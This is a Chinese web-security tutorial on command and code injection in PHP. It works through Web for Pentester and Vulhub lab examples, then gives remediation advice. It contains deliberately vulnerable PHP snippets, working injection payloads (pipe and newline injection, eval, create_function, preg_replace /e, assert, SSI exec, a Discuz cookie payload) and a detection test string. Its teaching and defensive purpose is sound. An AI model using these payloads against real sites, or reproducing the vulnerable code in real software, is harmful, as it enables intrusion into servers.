[红日安全]Web安全Day13 - 命令执行实战攻防
字数 1603 2025-08-25 22:58:47
Web安全实战:命令执行与代码执行漏洞攻防详解
1. 命令执行与代码执行概述
1.1 命令执行漏洞原理
在操作系统中,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。常见的命令连接符包括|、&、&&、||等。
1.2 代码执行漏洞原理
应用调用执行系统命令的函数时(如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等),当用户能控制这些函数中的参数时,可以将恶意系统命令拼接到正常命令中,造成命令执行攻击。
1.3 命令执行与代码执行漏洞区别
- 命令执行漏洞:直接调用操作系统命令
- 代码执行漏洞:通过执行脚本代码间接调用操作系统命令
1.4 漏洞危害
- 执行任意代码和系统命令
- 读写服务器文件
- 反弹shell获取服务器控制权
- 进一步内网渗透
2. 漏洞测试与实战
2.1 靶机测试环境搭建
使用Web for Pentester进行测试:
- 下载镜像:
https://download.vulnhub.com/pentesterlab/web_for_pentester_i386.iso - VMware安装镜像文件
- 查看IP地址并访问
2.2 命令注入漏洞示例
Example 1:无过滤直接注入
<?php system("ping -c 2 ".$_GET['ip']);?>
利用方式:
http://192.168.245.131/commandexec/example1.php?ip=127.0.0.1| whoami
Example 2:使用换行符绕过正则过滤
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);
?>
利用方式(%0a为换行符):
http://192.168.245.131/commandexec/example2.php?ip=127.0.0.1%0awhoami
Example 3:重定向限制绕过
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/', $_GET['ip']))) {
header("Location: example3.php?ip=127.0.0.1");
}
system("ping -c 2 ".$_GET['ip']);
?>
利用方式:抓包修改请求,避免重定向
2.3 代码注入漏洞示例
Example 1:未过滤直接注入
<?php
$str="echo \"Hello ".$_GET['name']."\";";
eval($str);
?>
利用方式:
http://192.168.245.131/codeexec/example1.php?name=%22;phpinfo();//
Example 2:create_function注入
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
利用方式:
http://192.168.245.131/codeexec/example2.php?order=id);;}phpinfo();//
Example 3:preg_replace的/e修饰符注入
<?php echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);?>
利用方式:
http://192.168.245.131/codeexec/example3.php?new=phpinfo()&pattern=/lamer/e&base=Hello%20lamer
Example 4:assert函数注入
assert(trim("'".$_GET['name']."'"));
echo "Hello ".htmlentities($_GET['name']);
利用方式:
http://192.168.245.131/codeexec/example4.php?name=%27.phpinfo();//
2.4 实战演练环境搭建
使用Vulnhub一键搭建漏洞测试靶机:
-
安装Docker:
sudo apt install docker.io pip install docker-compose -
下载Vulnhub:
git clone https://github.com/vulhub/vulhub.git -
配置国内镜像(可选):
{ "registry-mirrors": ["https://registry.docker-cn.com"] } -
启动Docker服务:
service docker restart
2.4.1 Apache SSI远程命令执行漏洞
-
进入靶机环境:
cd httpd/ssi-rce/ docker-compose up -d -
上传构造的shtml文件:
<!--#exec cmd="whoami" --> -
访问上传的文件执行命令
2.4.2 Discuz 7.x/6.x全局变量防御绕过导致代码执行
-
进入靶机环境:
cd discuz/wooyun-2010-080723/ docker-compose up -d -
安装Discuz(数据库地址填写
db) -
抓包修改Cookie:
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
3. 修复方案
3.1 命令执行修复方案
- 尽量少用或禁用执行命令的函数
- 参数值使用引号包裹
- 对动态函数进行白名单限制
- 对参数进行过滤和转义
- 使用脚本替代外部程序调用
- 使用安全函数:
escapeshellcmd():过滤整个命令escapeshellarg():过滤参数值
- 参数值使用引号包裹并调用
addslashes()转义 - 及时更新第三方组件并修改默认配置
3.2 代码执行修复方案
- 使用JSON保存数组/对象而非序列化字符串
- 必须使用
eval时:- 严格控制输入
- 使用单引号包裹代码
- 插入前使用
addslashes()
$data = addslashes($data); eval("\$data = deal('$data');"); - 避免使用
preg_replace的e修饰符,改用preg_replace_callback - 确保
register_globals = off - 严格控制文件写入函数:
file_put_contents(),fwrite(),fputs()等 - 自动化检测时可使用测试payload:
";print(md5(test));$a="
4. 总结
命令执行和代码执行漏洞是Web安全中高危漏洞,攻击者可通过这些漏洞直接控制系统。防御关键在于:
- 严格控制用户输入
- 使用安全函数处理参数
- 最小化危险函数的使用
- 保持系统和组件更新
- 实施严格的输入验证和过滤机制
通过本文的示例和修复方案,开发者可以更好地理解和防范这类安全风险。